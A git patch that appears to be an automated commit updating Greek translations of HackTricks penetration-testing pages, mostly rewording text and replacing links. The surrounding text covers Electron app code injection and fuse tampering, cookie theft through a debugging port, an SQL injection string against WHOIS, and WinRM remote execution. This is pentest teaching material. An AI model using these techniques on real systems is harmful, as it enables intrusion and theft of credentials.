From 007453d55b8e4e9988983baa2304939784601058 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 11 Jan 2025 18:59:47 +0000 Subject: [PATCH] Translated ['src/macos-hardening/macos-security-and-privilege-escalation --- src/SUMMARY.md | 8 +- .../macos-electron-applications-injection.md | 20 ++-- .../113-pentesting-ident.md | 4 +- .../137-138-139-pentesting-netbios.md | 20 ++-- ...21-1522-1529-pentesting-oracle-listener.md | 6 +- .../README.md | 12 +-- .../43-pentesting-whois.md | 8 +- .../5439-pentesting-redshift.md | 4 +- .../5985-5986-pentesting-winrm.md | 16 ++- .../nfs-service-pentesting.md | 10 +- .../pentesting-dns.md | 24 ++--- .../pentesting-ftp/README.md | 22 ++-- .../pentesting-imap.md | 10 +- .../pentesting-kerberos-88/README.md | 8 +- .../pentesting-ldap.md | 44 ++++---- .../README.md | 30 +++--- .../pentesting-mysql.md | 28 +++-- .../pentesting-ntp.md | 18 ++-- .../pentesting-pop.md | 10 +- .../pentesting-rdp.md | 14 +-- .../pentesting-rpcbind.md | 11 +- .../pentesting-smb.md | 64 +++++------ .../pentesting-smb/README.md | 46 ++++---- .../pentesting-smtp/README.md | 56 +++++----- .../pentesting-snmp/README.md | 63 +++++------ .../pentesting-telnet.md | 10 +- .../pentesting-web/README.md | 36 +++---- .../pentesting-web/angular.md | 54 +++++----- .../pentesting-web/buckets/README.md | 2 +- .../buckets/firebase-database.md | 4 +- src/pentesting-web/file-upload/README.md | 76 ++++++------- .../oauth-to-account-takeover.md | 38 +++---- .../other-js-tricks.md | 11 +- src/todo/cookies-policy.md | 44 ++++---- src/welcome/hacktricks-values-and-faq.md | 26 ++--- .../active-directory-methodology/README.md | 100 +++++++++--------- .../lateral-movement/README.md | 8 +- 37 files changed, 483 insertions(+), 482 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index fb3efcc74..60a9a9df7 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -289,7 +289,7 @@ - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) -- [Pivoting to the Cloud$$external:https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements$$]() +- [Pivoting to the Cloud$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/index.html$$]() - [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md) - [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md) - [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md) @@ -692,9 +692,9 @@ # ⛈️ Cloud Security -- [Pentesting Kubernetes$$external:https://cloud.hacktricks.xyz/pentesting-cloud/kubernetes-security$$]() -- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology$$]() -- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.xyz/pentesting-ci-cd/pentesting-ci-cd-methodology$$]() +- [Pentesting Kubernetes$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/index.html$$]() +- [Pentesting Cloud (AWS, GCP, Az...)$$external:https://cloud.hacktricks.wiki/en/pentesting-cloud/pentesting-cloud-methodology.html$$]() +- [Pentesting CI/CD (Github, Jenkins, Terraform...)$$external:https://cloud.hacktricks.wiki/en/pentesting-ci-cd/pentesting-ci-cd-methodology.html$$]() # 😎 Hardware/Physical Access diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md index e349433f7..0b52c3fa7 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md @@ -4,7 +4,7 @@ ## Basic Information -Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Αλλά προς το παρόν, απλά να ξέρετε ότι το Electron εκτελεί **node**.\ +Αν δεν ξέρετε τι είναι το Electron, μπορείτε να βρείτε [**πολλές πληροφορίες εδώ**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/electron-desktop-apps/index.html#rce-xss--contextisolation). Αλλά προς το παρόν, απλά να ξέρετε ότι το Electron τρέχει **node**.\ Και το node έχει κάποιες **παραμέτρους** και **μεταβλητές περιβάλλοντος** που μπορούν να χρησιμοποιηθούν για να **εκτελέσουν άλλο κώδικα** εκτός από το υποδεικνυόμενο αρχείο. ### Electron Fuses @@ -19,7 +19,7 @@ Μια άλλη ενδιαφέρουσα σημαία που δεν θα αποτρέπει την έγχυση κώδικα είναι: -- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο κρυπτογραφείται χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS. +- **EnableCookieEncryption**: Αν είναι ενεργοποιημένο, το cookie store στον δίσκο είναι κρυπτογραφημένο χρησιμοποιώντας κλειδιά κρυπτογραφίας επιπέδου OS. ### Checking Electron Fuses @@ -37,24 +37,24 @@ EnableEmbeddedAsarIntegrityValidation is Enabled OnlyLoadAppFromAsar is Enabled LoadBrowserProcessSpecificV8Snapshot is Disabled ``` -### Τροποποίηση Ηλεκτρονικών Ασφαλειών +### Τροποποίηση των Fuses του Electron -Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Ηλεκτρονικών Ασφαλειών** είναι ρυθμισμένη μέσα στο **Ηλεκτρονικό δυαδικό** που περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. +Όπως αναφέρουν οι [**τεκμηριώσεις**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), η διαμόρφωση των **Fuses του Electron** είναι ρυθμισμένη μέσα στο **δυαδικό αρχείο του Electron** το οποίο περιέχει κάπου τη συμβολοσειρά **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`**. Στις εφαρμογές macOS, αυτό είναι συνήθως στο `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` ```bash grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches ``` -Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλώς τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**. +Μπορείτε να φορτώσετε αυτό το αρχείο στο [https://hexed.it/](https://hexed.it/) και να αναζητήσετε την προηγούμενη συμβολοσειρά. Μετά από αυτή τη συμβολοσειρά μπορείτε να δείτε σε ASCII έναν αριθμό "0" ή "1" που υποδεικνύει αν κάθε ασφάλεια είναι απενεργοποιημένη ή ενεργοποιημένη. Απλά τροποποιήστε τον κωδικό hex (`0x30` είναι `0` και `0x31` είναι `1`) για να **τροποποιήσετε τις τιμές ασφάλειας**.
-Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework`** δυαδικό αρχείο μέσα σε μια εφαρμογή με αυτά τα bytes τροποποιημένα, η εφαρμογή δεν θα εκτελείται. +Σημειώστε ότι αν προσπαθήσετε να **επικαλύψετε** το **`Electron Framework` binary** μέσα σε μια εφαρμογή με αυτούς τους τροποποιημένους byte, η εφαρμογή δεν θα εκτελείται. ## RCE προσθήκη κώδικα σε εφαρμογές Electron -Μπορεί να υπάρχουν **εξωτερικά αρχεία JS/HTML** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής. +Μπορεί να υπάρχουν **εξωτερικά JS/HTML αρχεία** που χρησιμοποιεί μια εφαρμογή Electron, οπότε ένας επιτιθέμενος θα μπορούσε να εισάγει κώδικα σε αυτά τα αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί και να εκτελέσει αυθαίρετο κώδικα στο πλαίσιο της εφαρμογής. > [!CAUTION] > Ωστόσο, αυτή τη στιγμή υπάρχουν 2 περιορισμοί: @@ -64,7 +64,7 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions > > Κάνοντάς το αυτό το μονοπάτι επίθεσης πιο περίπλοκο (ή αδύνατο). -Σημειώστε ότι είναι δυνατόν να παρακάμψετε την απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε άλλο κατάλογο (όπως **`/tmp`**), μετονομάζοντας τον φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το. +Σημειώστε ότι είναι δυνατόν να παρακαμφθεί η απαίτηση της **`kTCCServiceSystemPolicyAppBundles`** αντιγράφοντας την εφαρμογή σε έναν άλλο φάκελο (όπως **`/tmp`**), μετονομάζοντας το φάκελο **`app.app/Contents`** σε **`app.app/NotCon`**, **τροποποιώντας** το αρχείο **asar** με τον **κακόβουλο** κώδικά σας, μετονομάζοντάς το πίσω σε **`app.app/Contents`** και εκτελώντας το. Μπορείτε να αποσυμπιέσετε τον κώδικα από το αρχείο asar με: ```bash @@ -155,11 +155,11 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator') ``` > [!CAUTION] -> Αν η ασφάλεια **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοήσει τις παραμέτρους node** (όπως `--inspect`) όταν εκκινείται, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη. +> Αν η ασφάλεια **`EnableNodeCliInspectArguments`** είναι απενεργοποιημένη, η εφαρμογή θα **αγνοήσει τις παραμέτρους node** (όπως `--inspect`) κατά την εκκίνηση, εκτός αν η μεταβλητή περιβάλλοντος **`ELECTRON_RUN_AS_NODE`** είναι ρυθμισμένη, η οποία θα **αγνοηθεί** επίσης αν η ασφάλεια **`RunAsNode`** είναι απενεργοποιημένη. > > Ωστόσο, μπορείτε να χρησιμοποιήσετε την παράμετρο **`--remote-debugging-port=9229`** αλλά το προηγούμενο payload δεν θα λειτουργήσει για την εκτέλεση άλλων διαδικασιών. -Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατόν να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το **ιστορικό** (με εντολές GET) ή τα **cookies** του προγράμματος περιήγησης (καθώς είναι **αποκρυπτογραφημένα** μέσα στο πρόγραμμα περιήγησης και υπάρχει ένα **json endpoint** που θα τα δώσει). +Χρησιμοποιώντας την παράμετρο **`--remote-debugging-port=9222`** είναι δυνατό να κλέψετε κάποιες πληροφορίες από την εφαρμογή Electron όπως το **ιστορικό** (με εντολές GET) ή τα **cookies** του προγράμματος περιήγησης (καθώς είναι **αποκρυπτογραφημένα** μέσα στο πρόγραμμα περιήγησης και υπάρχει ένα **json endpoint** που θα τα δώσει). Μπορείτε να μάθετε πώς να το κάνετε αυτό [**εδώ**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) και [**εδώ**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) και να χρησιμοποιήσετε το αυτόματο εργαλείο [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) ή ένα απλό script όπως: ```python diff --git a/src/network-services-pentesting/113-pentesting-ident.md b/src/network-services-pentesting/113-pentesting-ident.md index 9b3264613..b2a54c5dd 100644 --- a/src/network-services-pentesting/113-pentesting-ident.md +++ b/src/network-services-pentesting/113-pentesting-ident.md @@ -25,7 +25,7 @@ PORT STATE SERVICE ![](<../images/image (159).png>) -Άλλες σφάλματα: +Άλλα σφάλματα: ![](<../images/image (359).png>) @@ -78,7 +78,7 @@ Description: Notes for Ident Note: | The Ident Protocol is used over the Internet to associate a TCP connection with a specific user. Originally designed to aid in network management and security, it operates by allowing a server to query a client on port 113 to request information about the user of a particular TCP connection. -https://book.hacktricks.xyz/pentesting/113-pentesting-ident +https://book.hacktricks.wiki/en/network-services-pentesting/113-pentesting-ident.html Entry_2: Name: Enum Users diff --git a/src/network-services-pentesting/137-138-139-pentesting-netbios.md b/src/network-services-pentesting/137-138-139-pentesting-netbios.md index 9b61e69cb..773ac5133 100644 --- a/src/network-services-pentesting/137-138-139-pentesting-netbios.md +++ b/src/network-services-pentesting/137-138-139-pentesting-netbios.md @@ -4,17 +4,17 @@ ## NetBios Name Service -**NetBIOS Name Service** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία. +**Η Υπηρεσία Ονομάτων NetBIOS** παίζει κρίσιμο ρόλο, περιλαμβάνοντας διάφορες υπηρεσίες όπως **καταχώριση και επίλυση ονομάτων**, **διανομή datagram**, και **υπηρεσίες συνεδρίας**, χρησιμοποιώντας συγκεκριμένες θύρες για κάθε υπηρεσία. -[From Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): +[Από την Wikidepia](https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP): - Υπηρεσία ονομάτων για καταχώριση και επίλυση ονομάτων (θύρες: 137/udp και 137/tcp). - Υπηρεσία διανομής datagram για επικοινωνία χωρίς σύνδεση (θύρα: 138/udp). - Υπηρεσία συνεδρίας για επικοινωνία με σύνδεση (θύρα: 139/tcp). -### Name Service +### Υπηρεσία Ονομάτων -Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας broadcast** όπου αποστέλλεται ένα πακέτο "Name Query". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή υπηρεσίας ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC. +Για να συμμετάσχει μια συσκευή σε ένα δίκτυο NetBIOS, πρέπει να έχει ένα μοναδικό όνομα. Αυτό επιτυγχάνεται μέσω μιας **διαδικασίας εκπομπής** όπου αποστέλλεται ένα πακέτο "Ερώτησης Ονόματος". Εάν δεν ληφθούν αντιρρήσεις, το όνομα θεωρείται διαθέσιμο. Εναλλακτικά, μπορεί να γίνει άμεση ερώτηση σε έναν **διακομιστή Υπηρεσίας Ονομάτων** για να ελεγχθεί η διαθεσιμότητα ονόματος ή να επιλυθεί ένα όνομα σε διεύθυνση IP. Εργαλεία όπως το `nmblookup`, `nbtscan`, και `nmap` χρησιμοποιούνται για την καταμέτρηση υπηρεσιών NetBIOS, αποκαλύπτοντας ονόματα διακομιστών και διευθύνσεις MAC. ```bash PORT STATE SERVICE VERSION 137/udp open netbios-ns Samba nmbd netbios-ns (workgroup: WORKGROUP) @@ -27,18 +27,18 @@ sudo nmap -sU -sV -T4 --script nbstat.nse -p137 -Pn -n ``` ### Υπηρεσία Κατανομής Datagram -Τα datagrams NetBIOS επιτρέπουν την επικοινωνία χωρίς σύνδεση μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**. +Τα datagrams NetBIOS επιτρέπουν τη σύνδεση χωρίς επικοινωνία μέσω UDP, υποστηρίζοντας άμεσες μηνύματα ή μετάδοση σε όλα τα ονόματα δικτύου. Αυτή η υπηρεσία χρησιμοποιεί την θύρα **138/udp**. ```bash PORT STATE SERVICE VERSION 138/udp open|filtered netbios-dgm ``` -### Υπηρεσία Συνεδρίας +### Session Service -Για συνδεδεμένες αλληλεπιδράσεις, η **Υπηρεσία Συνεδρίας** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Αίτημα Συνεδρίας" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με την TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων. +Για τις συνδεδεμένες αλληλεπιδράσεις, η **Session Service** διευκολύνει μια συνομιλία μεταξύ δύο συσκευών, εκμεταλλευόμενη τις **TCP** συνδέσεις μέσω της θύρας **139/tcp**. Μια συνεδρία ξεκινά με ένα πακέτο "Session Request" και μπορεί να καθοριστεί με βάση την απάντηση. Η υπηρεσία υποστηρίζει μεγαλύτερα μηνύματα, ανίχνευση σφαλμάτων και αποκατάσταση, με το TCP να διαχειρίζεται τον έλεγχο ροής και την επαναμετάδοση πακέτων. -Η μετάδοση δεδομένων εντός μιας συνεδρίας περιλαμβάνει τα **πακέτα Μηνυμάτων Συνεδρίας**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP. +Η μετάδοση δεδομένων μέσα σε μια συνεδρία περιλαμβάνει **Session Message packets**, με τις συνεδρίες να τερματίζονται κλείνοντας τη σύνδεση TCP. -Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol). +Αυτές οι υπηρεσίες είναι αναπόσπαστο μέρος της λειτουργικότητας **NetBIOS**, επιτρέποντας αποδοτική επικοινωνία και κοινή χρήση πόρων σε ένα δίκτυο. Για περισσότερες πληροφορίες σχετικά με τα πρωτόκολλα TCP και IP, ανατρέξτε στις αντίστοιχες σελίδες τους [TCP Wikipedia](https://en.wikipedia.org/wiki/Transmission_Control_Protocol) και [IP Wikipedia](https://en.wikipedia.org/wiki/Internet_Protocol). ```bash PORT STATE SERVICE VERSION 139/tcp open netbios-ssn Microsoft Windows netbios-ssn @@ -65,7 +65,7 @@ Session service for connection-oriented communication (port: 139/tcp). For a device to participate in a NetBIOS network, it must have a unique name. This is achieved through a broadcast process where a "Name Query" packet is sent. If no objections are received, the name is considered available. Alternatively, a Name Service server can be queried directly to check for name availability or to resolve a name to an IP address. -https://book.hacktricks.xyz/pentesting/137-138-139-pentesting-netbios +https://book.hacktricks.wiki/en/network-services-pentesting/137-138-139-pentesting-netbios.html Entry_2: Name: Find Names diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 48f9fd1f9..a07323e94 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -14,12 +14,12 @@ ## Περίληψη 1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες. -2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο να καθιερωθεί η επικοινωνία. +2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο για να καθιερωθεί η επικοινωνία. 3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID). 4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID. 5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα. -Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) +Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/oracle-pentesting-requirements-installation.md) ## Δημοσιεύσεις @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 3a28a8a45..012da203b 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information Η βάση δεδομένων Oracle (Oracle DB) είναι ένα σύστημα διαχείρισης σχεσιακών βάσεων δεδομένων (RDBMS) από την Oracle Corporation (από [εδώ](https://www.techopedia.com/definition/8711/oracle-database)). @@ -13,13 +13,13 @@ ``` ## Περίληψη -1. **Έκδοση Αρίθμησης**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες. -2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο να καθιερωθεί η επικοινωνία. -3. **Έκδοση Αρίθμησης/Bruteforce SID Name**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID). +1. **Αριθμητική Έκδοση**: Εντοπίστε πληροφορίες έκδοσης για να αναζητήσετε γνωστές ευπάθειες. +2. **Bruteforce TNS Listener**: Μερικές φορές είναι απαραίτητο για να καθιερωθεί η επικοινωνία. +3. **Αριθμητική/Bruteforce Όνομα SID**: Ανακαλύψτε ονόματα βάσεων δεδομένων (SID). 4. **Bruteforce Διαπιστευτηρίων**: Προσπαθήστε να αποκτήσετε πρόσβαση στο ανακαλυφθέν SID. 5. **Εκτέλεση Κώδικα**: Προσπαθήστε να εκτελέσετε κώδικα στο σύστημα. -Για να χρησιμοποιήσετε τα MSF oracle modules, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](oracle-pentesting-requirements-installation.md) +Για να χρησιμοποιήσετε τα modules MSF oracle, πρέπει να εγκαταστήσετε κάποιες εξαρτήσεις: [**Εγκατάσταση**](oracle-pentesting-requirements-installation.md) ## Δημοσιεύσεις @@ -51,7 +51,7 @@ cd odat-libc2.12-x86_64/ for more details check https://github.com/quentinhardy/odat/wiki -https://book.hacktricks.xyz/pentesting/1521-1522-1529-pentesting-oracle-listener +https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html Entry_2: Name: Nmap diff --git a/src/network-services-pentesting/43-pentesting-whois.md b/src/network-services-pentesting/43-pentesting-whois.md index b34f8cf8c..bcb908eb3 100644 --- a/src/network-services-pentesting/43-pentesting-whois.md +++ b/src/network-services-pentesting/43-pentesting-whois.md @@ -11,9 +11,9 @@ PORT STATE SERVICE 43/tcp open whois? ``` -## Καταμέτρηση +## Enumerate -Αποκτήστε όλες τις πληροφορίες που έχει μια υπηρεσία whois σχετικά με ένα τομέα: +Πάρτε όλες τις πληροφορίες που έχει μια υπηρεσία whois για ένα τομέα: ```bash whois -h -p "domain.tld" echo "domain.ltd" | nc -vn @@ -22,7 +22,7 @@ echo "domain.ltd" | nc -vn ![](<../images/image (301).png>) -Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλες** τις **πληροφορίες** που είναι αποθηκευμένες στη βάση δεδομένων. +Επίσης, η υπηρεσία WHOIS χρειάζεται πάντα να χρησιμοποιεί μια **βάση δεδομένων** για να αποθηκεύει και να εξάγει τις πληροφορίες. Έτσι, μια πιθανή **SQLInjection** θα μπορούσε να είναι παρούσα όταν **ερωτάτε** τη βάση δεδομένων για κάποιες πληροφορίες που παρέχονται από τον χρήστη. Για παράδειγμα, κάνοντας: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` θα μπορούσατε να **εξάγετε όλα** τα **στοιχεία** που είναι αποθηκευμένα στη βάση δεδομένων. ## Shodan @@ -41,7 +41,7 @@ Note: | The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information. -https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html Entry_2: Name: Banner Grab diff --git a/src/network-services-pentesting/5439-pentesting-redshift.md b/src/network-services-pentesting/5439-pentesting-redshift.md index 00e88d15f..d427bdaa7 100644 --- a/src/network-services-pentesting/5439-pentesting-redshift.md +++ b/src/network-services-pentesting/5439-pentesting-redshift.md @@ -2,14 +2,14 @@ {{#include ../banners/hacktricks-training.md}} -## Βασικές Πληροφορίες +## Basic Information Αυτή η θύρα χρησιμοποιείται από το **Redshift** για να λειτουργήσει. Είναι βασικά μια παραλλαγή του **PostgreSQL** από την AWS. Για περισσότερες πληροφορίες ελέγξτε: {{#ref}} -https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-services/aws-databases/aws-redshift-enum +https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.html {{#endref}} {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 3ed55dcfe..a4da8a559 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -28,7 +28,7 @@ wmic /node: process call create "powershell enable-psremoting -forc ``` Αυτή η μέθοδος επιτρέπει την απομακρυσμένη ρύθμιση του WinRM, ενισχύοντας την ευελιξία στη διαχείριση των Windows μηχανών από μακριά. -### Δοκιμάστε αν είναι ρυθμισμένο +### Δοκιμή αν είναι ρυθμισμένο Για να επαληθεύσετε τη ρύθμιση της μηχανής επίθεσης σας, χρησιμοποιείται η εντολή `Test-WSMan` για να ελέγξετε αν ο στόχος έχει ρυθμισμένο σωστά το WinRM. Εκτελώντας αυτή την εντολή, θα πρέπει να περιμένετε να λάβετε λεπτομέρειες σχετικά με την έκδοση του πρωτοκόλλου και το wsmid, υποδεικνύοντας επιτυχημένη ρύθμιση. Παρακάτω παρατίθενται παραδείγματα που δείχνουν την αναμενόμενη έξοδο για έναν ρυθμισμένο στόχο σε σύγκριση με έναν μη ρυθμισμένο: @@ -40,13 +40,13 @@ Test-WSMan ![](<../images/image (582).png>) -- Αντίθετα, για έναν στόχο **μη** ρυθμισμένο για WinRM, αυτό θα είχε ως αποτέλεσμα να μην υπάρχουν τέτοιες λεπτομερείς πληροφορίες, επισημαίνοντας την απουσία σωστής ρύθμισης του WinRM. +- Αντίθετα, για έναν στόχο **μη** ρυθμισμένο για WinRM, αυτό θα είχε ως αποτέλεσμα να μην υπάρχουν τέτοιες λεπτομερείς πληροφορίες, υπογραμμίζοντας την απουσία σωστής ρύθμισης του WinRM. ![](<../images/image (458).png>) ### Εκτέλεση εντολής -Για να εκτελέσετε το `ipconfig` απομακρυσμένα σε μια μηχανή στόχο και να δείτε την έξοδό του, κάντε: +Για να εκτελέσετε `ipconfig` απομακρυσμένα σε έναν στόχο μηχανής και να δείτε την έξοδό του, κάντε: ```powershell Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` @@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session 